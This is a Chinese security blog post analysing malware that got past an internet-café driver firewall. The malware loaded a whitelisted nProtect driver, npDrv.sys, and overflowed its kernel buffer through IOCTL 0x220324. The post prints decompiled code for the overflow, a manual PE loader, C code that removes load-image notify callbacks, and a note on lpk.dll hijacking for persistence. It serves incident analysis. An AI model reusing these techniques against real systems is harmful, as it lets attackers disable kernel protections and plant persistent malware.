某恶意样本绕过驱动防火墙机制分析学习

2013-12-19 167471人围观 ,发现 12 个不明物体 系统安全

by bingle of code audit labs of vulnhunt.com
url:http://blog.vulnhunt.com/index.php/2013/12/18/bypass_icafee_analysis/
    这两天,一网吧的朋友向翰海源求助,说他们网吧装了多为网维大师被穿透了,被人中了很多木马,还造成了一定的损失。根据几天的分析,基本弄清楚攻击/绕过的原理,与大家一起分享下。
    恶意样本b0005是针对网吧发起攻击的程序。现在网吧中的防护软件,多为网维大师。网维大师具有更新游戏、重启还原等功能。由于网维大师对驱动的防护是通过白名单来实现的,白名单中对驱动才会被放行允许加载。而第三方的白名单驱动存在漏洞,将导致网维大师的驱动防火墙被绕过,使得网吧系统不再安全。

一、 网维大师驱动防火墙的实现原理


    网维大师的驱动防火墙实现,不是在NtLoadDriver乃至更底层函数IopLoadDriver上实现的,而是通过内核函数PsSetLoadImageNotifyRoutine安装模块加载回调实现的,在白名单中,就放行。否则,修改内核入口代码,直接返回。白名单的结构是:

+0  nCounts     //白名单驱动数据
+4  fileSize_0      //白名单驱动0
+0x14   fileMd5_0
+0x18   fileSize_1
+0x28   fileMd5_1

以此类推。整个白名单驱动数目是0×4e0项。具体实现如下:

int __stdcall dump_CompareMd5ArrayAndPatchPEEntryPoint(stUnicodeString *puniImageName, int ProcessId, stImageInfo *pstImageInfo)
{
int result; // eax@1
int v4; // edx@2
__int16 v5; // di@2
int v6; // eax@2
int v8; // eax@7
int v9; // esi@8
unsigned int v10; // esi@22
int v11; // eax@22
int v12; // edx@22
int v13; // ecx@22
int v14; // esi@26
int v15; // eax@26
int v16; // edx@26
int v17; // eax@28
int v18; // edx@28
int v19; // [sp+Ch] [bp-20h]@1
unsigned int iNum; // [sp+10h] [bp-1Ch]@8
char irql; // [sp+16h] [bp-16h]@7
char bNonInMd5List; // [sp+17h] [bp-15h]@2
stMd5CalcResult md5Result; // [sp+18h] [bp-14h]@1
unsigned int v24; // [sp+28h] [bp-4h]@1
int v25; // [sp+2Ch] [bp+0h]@1
 
v24 = (unsigned int)&v25 ^ (unsigned int)off_8220121C;
v19 = 0;
result = 0;
md5Result.md5_part1 = 0;
md5Result.md5_part2 = 0;
md5Result.md5_part3 = 0;
md5Result.md5_part4 = 0;
if ( !(dword_822012A4 & 1) )
return result;
bNonInMd5List = 1;
v5 = dump_CompareBinData((int)&v24, puniImageName, pstImageInfo->ImageBase);
v6 = 0xFFFFu;
if ( 0xFFFFu == v5 )
{
v6 = dump_calcBinMd5(puniImageName, &md5Result);//计算md5
v19 = v6;
if ( !v6 )
{
bNonInMd5List = 1;
v5 = 1;
goto LABEL_22;
}
irql = g_KfAcquireSpinLock(v6, v4, 0x82201290u);
v8 = dword_822012AC;
if ( dword_822012AC )
{
iNum = 0;
v9 = dword_822012AC + 5;
if ( *(_DWORD *)(dword_822012AC + 1) )
{
do
{
if ( v19 == *(_DWORD *)v9 ) //比较文件大小
{
v8 = g_RtlCompareMemory(v9 + 4, &md5Result, 0x10u);// md5值比对
if ( v8 == 0x10 )
{
bNonInMd5List = 0;
v5 = 0;
break;
}
v8 = dword_822012AC;
}
v9 += 0x14u;    //每一项长度为0x14
++iNum;
}
while ( iNum < *(_DWORD *)(v8 + 1) );
}
}
LOBYTE(v4) = irql;
v6 = g_KfReleaseSpinLock(v8, v4, 0x82201290u);
if ( bNonInMd5List != 1 || !(dword_822012A4 & 2) )
goto LABEL_22;
v6 = sub_821F8E56(puniImageName);
if ( v6 && v6 != 1 )
{
v5 = 0;
goto LABEL_22;
}
v5 = 1;
}
else
{
bNonInMd5List = 1;      //不在白名单中
if ( v5 != 4 )
goto LABEL_22;
v5 = 2;
}
bNonInMd5List = 0;
LABEL_22:
v10 = 0;
v11 = g_KfAcquireSpinLock(v6, v4, 0x82201290u);
v13 = dword_822012E8;
while ( v13 )
{
v13 = *(_DWORD *)v13;
++v10;
}
LOBYTE(v12) = v11;
result = g_KfReleaseSpinLock(v11, v12, 0x82201290u);
if ( v10 length + 48, 'BLST');
((void (__cdecl *)(int, _DWORD, int))dump_memset)(v14, 0, puniImageName->length + 48);
*(_DWORD *)(v14 + 4) = puniImageName->length + 0x30;
*(_BYTE *)(v14 + <img src="http://blog.vulnhunt.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley"> = bNonInMd5List;
*(_WORD *)(v14 + 10) = v5;
*(_BYTE *)(v14 + 9) = 0;
g_memmove(v14 + 44, puniImageName->buf, puniImageName->length + 2);
*(_WORD *)(v14 + 2 * ((unsigned int)puniImageName->length >> 1) + 44) = 0;
g_KeQuerySystemTime(v14 + 0x24);
*(_DWORD *)(v14 + 12) = v19;
v15 = g_memmove(v14 + 16, &md5Result, 16);
if ( dword_822012A4 & 4 )
v15 = sub_821F8A3C((char)puniImageName, (int)puniImageName, (char *)(v14 + 12), 0, v14 + 32);
v17 = g_KfAcquireSpinLock(v15, v16, 0x82201290u);
*(_DWORD *)v14 = dword_822012E8;
LOBYTE(v18) = v17;
dword_822012E8 = v14;
result = g_KfReleaseSpinLock(v17, v18, 0x82201290u);
}
if ( bNonInMd5List )        //如果不在白名单表中,将驱动的入口点改为0xc3,也就是ret
result = dump_PatchDriverEntryPoint(pstImageInfo->ImageBase);
return result;
}

二、白名单存在安全问题的驱动分析


网维大师的驱动白名单多为游戏保护的驱动,很多游戏保护的驱动存在安全的问题。样本b0005使用的是nPotect的一个老驱动npDrv.sys,该文件的详细信息如下:

驱动npDrv在处理用户传入的控制码0×220324的对应的数据时,没有对用户传入数据的长度做判断进行拷贝操作,导致内核缓冲区溢出。出现问题的代码如下:

signed int __stdcall np_DeviceControl(PDEVICE_OBJECT a1, PIRP a2)
{
//部分变量声明省略
v33 = 0;
pIrlLocal = a2;
memset(&v34, 0, 0x24u);
v35 = 0;
pIoStackLocation_local = (PIO_STACK_LOCATION)a2->Tail.Overlay.CurrentStackLocation;
v4 = 2228712;
v36 = 0;
a2 = (PIRP)pIoStackLocation_local;
v5 = (unsigned int)pIoStackLocation_local->Parameters.DeviceControl.Argument3; //得到ioctlcode
if ( v5 > 0x2201E8 )
{
if ( v5 > 0x2203F4 )
{
v30 = v5 - 0x2203F8;
if ( !v30 )     //0x2203f8
{
sub_11AF8(a1, pIrlLocal);
return v36;
}
v31 = v30 - 6;
if ( !v31 ) // 0x2203FE
{
sub_11B62(a1, pIrlLocal);
return v36;
}
if ( v31 == 4 ) //0x220402
{
sub_11B87(a1, pIrlLocal);
return v36;
}
return 0xC000000Du;
}
if ( v5 == 0x2203F4 ) //0x2203f4
{
sub_11B68(a1, pIrlLocal);
return v36;
}
v23 = v5 - 2228748;
if ( !v23 )  //0x22020C
{
dword_1461C = *(_DWORD *)pIrlLocal->AssociatedIrp.MasterIrp;
return v36;
}
v24 = v23 - 0x118;
if ( !v24 )     //0x220324
return np_XXX(pIrlLocal, pIoStackLocation_local);  //出现问题的控制码处理函数
v25 = v24 - 160;
if ( v25 )
{
if ( v25 == 46 )
{
v26 = pIrlLocal->MdlAddress;
a1 = (PDEVICE_OBJECT)1026;
if ( v26->MdlFlags & 5 )
v12 = v26->MappedSystemVa;
else
v12 = MmMapLockedPages(v26, 0);
v17 = pIoStackLocation_local->Parameters.DeviceControl.Argument1;
v16 = &a1;
goto LABEL_55;
}
return 0xC000000Du;
}
//部分伪代码省略
return v36;
}

继续跟踪np_XXX函数,如下:

unsigned int __stdcall np_XXX(PIRP pIrp_param, PIO_STACK_LOCATION pIoStackLocation_param)
{
unsigned int v2; // ebx@1
int v4; // [sp+Ch] [bp-8h]@1
HANDLE Handle; // [sp+10h] [bp-4h]@1
 
v4 = 0;
v2 = 0;
Handle = 0;
memcpy(
&v4,
pIrp_param->AssociatedIrp.MasterIrp,
(unsigned int)pIoStackLocation_param->Parameters.DeviceControl.Argument2);   //拷贝时,没有检测用户传入的数据的长度,直接拷贝到v4当中,导致内核缓冲区溢出,覆盖返回值。
if ( v4 == 1 )
ObReferenceObjectByHandle(Handle, 0, 0, 1, &Object, 0);
else
v2 = 0xC0000001u;
return v2;
}

三、 样本绕过网维驱动防火墙分析


样本b0005加了tmd壳,对关键函数分析得知。样本首先通过服务加载存在安全漏洞的驱动npDrv.sys,通过DeviceIoControl发送0×220324到内核,同时,溢出触发后,讲eip指向用户空间的一个函数地址,该函数代码经过变形处理,该函数的主要功能是自己实现加载pe的过程。由于运行的irql为0环,所以,加载的是穿网维还原的内核驱动。
1) 自己实现pe load过程,具体过程如下:

int __cdecl b005_Pe_load(IMAGE_DOS_HEADER *pDosHeaders, int (__stdcall *g_addr_0x402990)(DWORD *, DWORD, PIMAGE_SECTION_HEADER, unsigned int, _DWORD), int g_addr_0x4028b0)
{
int result; // eax@4
unsigned int sectionCounts; // [sp+0h] [bp-14h]@5
struct _IMAGE_SECTION_HEADER *pSectionHeaderStart; // [sp+4h] [bp-10h]@5
int ImageBase_or_pBufAddr; // [sp+8h] [bp-Ch]@5
unsigned int i; // [sp+Ch] [bp-8h]@9
PIMAGE_NT_HEADERS pNTHeaders; // [sp+10h] [bp-4h]@1
 
pNTHeaders = b005_GetPImagePeHeaders(pDosHeaders);
if ( pNTHeaders && g_addr_0x402990 && g_addr_0x4028b0 )
{
ImageBase_or_pBufAddr = pNTHeaders->OptionalHeader.ImageBase;
sectionCounts = (unsigned __int16)b005_GetPeNumberOfSections(pDosHeaders);
pSectionHeaderStart = b005_GetPImageSectionHeader(pDosHeaders);
if ( (unsigned __int8)g_addr_0x402990(
(DWORD *)&ImageBase_or_pBufAddr,
pNTHeaders->OptionalHeader.SizeOfImage,
pSectionHeaderStart,
sectionCounts,
0) )
{
if ( ImageBase_or_pBufAddr )
{
b005_copy_binData(ImageBase_or_pBufAddr, pDosHeaders, pNTHeaders->OptionalHeader.SizeOfHeaders);
for ( i = 0; i < sectionCounts; ++i )
b005_copy_binData(
pSectionHeaderStart[i].VirtualAddress + ImageBase_or_pBufAddr,
(IMAGE_DOS_HEADER *)((char *)pDosHeaders + pSectionHeaderStart[i].PointerToRawData),
pSectionHeaderStart[i].SizeOfRawData);
b005_Fixup_BaseReloc_back((struct _IMAGE_DOS_HEADER *)ImageBase_or_pBufAddr);
if ( !b005_Fixup_ImportTable(
(PIMAGE_DOS_HEADER)ImageBase_or_pBufAddr,
(int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))g_addr_0x4028b0) )
{
g_addr_0x402990((DWORD *)&ImageBase_or_pBufAddr, 0, pSectionHeaderStart, sectionCounts, 1);
ImageBase_or_pBufAddr = 0;
}
result = ImageBase_or_pBufAddr;
}
else
{
result = 0;
}
}
else
{
result = 0;
}
}
else
{
result = 0;
}
return result;
}

2) 通过摘除回调使驱动防火墙失效
该样本变种,使用的是摘除内核LoageImageNotifyRoutine的回调过程,实现如下,

#pragma pack(1)
typedef struct _EX_FAST_REF
{
union
{
PVOID Object;
ULONG_PTR RefCnt:3;
ULONG_PTR Value;
};
} EX_FAST_REF, *PEX_FAST_REF;
 
typedef struct _EX_CALLBACK_ROUTINE_BLOCK
{
EX_RUNDOWN_REF RundownProtect;
PEX_CALLBACK_FUNCTION Function;
PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;
#pragma pack()
 
// PspLoadImageNotifyRoutine数组大小
#define PSP_MAX_LOAD_IMAGE_NOTIFY           8
 
// 系统PspLoadImageNotifyRoutine变量位置
PULONG g_PspLoadImageNotifyRoutine = NULL;
 
// 根据特征码查找PspLoadImageNotifyRoutine数组的起始地址
PULONG FindPspLoadImageNotifyRoutine( PUCHAR FuncBase )
{
ULONG nIndex;
PULONG result = NULL;
 
// 查找ing
for ( nIndex = 0; nIndex < 512; ++nIndex )
{
// 比较头部(这里的0x56和0xbe是特征码)
if ( (*(UCHAR*)FuncBase == 0x56) && (*(UCHAR*)(FuncBase + 1)  == 0xbe) )  //特征码查找
{
// 保存地址并返回
result = *(PULONG)(FuncBase + 2);
break;
}
 
// 继续遍历
++FuncBase;
}
 
return result;
}
 
// 检测并挂钩NP的回调函数
VOID RemoveLoadImageCallBack()
{
PEX_FAST_REF ExRef;
ULONG nIndex;
NTSTATUS status;
 
ExRef = (PEX_FAST_REF)(g_PspLoadImageNotifyRoutine);
for ( nIndex = 0; nIndex Value & ~7);      // 详见WRK
if ( MmIsAddressValid((PVOID)Point) )
{
// 移除注册的回调函数
status = PsRemoveLoadImageNotifyRoutine( Point->Function );//摘除该回调过程
if ( NT_SUCCESS(status) )
{
KdPrint(("remove LoadImage notify success: %d.\n", nIndex));
}
}
++ExRef;
}
}

摘除后,网维大师不再对驱动加载进行拦截。

四、 样本b0005穿还原的方式


样本b0005穿还原的方式,加载穿还原的机器狗驱动,通过dll劫持,替换lpk.dll为大小相近的fake_lpk.dll实现,达到重启后网吧电脑重启后,得到再次运行的机会,从而常驻网吧电脑。

五、 还有什么


没什么了,顺便吼一下, 亲们,加入翰海源吧,与我们一起成长,和我们一起做一些很有挑战、有意思的事情。

–EOF

这些评论亮了

  • yyyy3333 回复
    这才是业界良心的招聘广告呀
    刚才那几个招人的 自己看看吧
    一句人话没说比如钱呀房呀车呀都没许诺你 全是技术文章 还用张口闭口说我是极客我是大牛吗?
    服不服?
    一句 加入韩海源吧 全文呼应 这中学作文学的不错呀!
    )17( 亮了
发表评论

已有 12 条评论

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php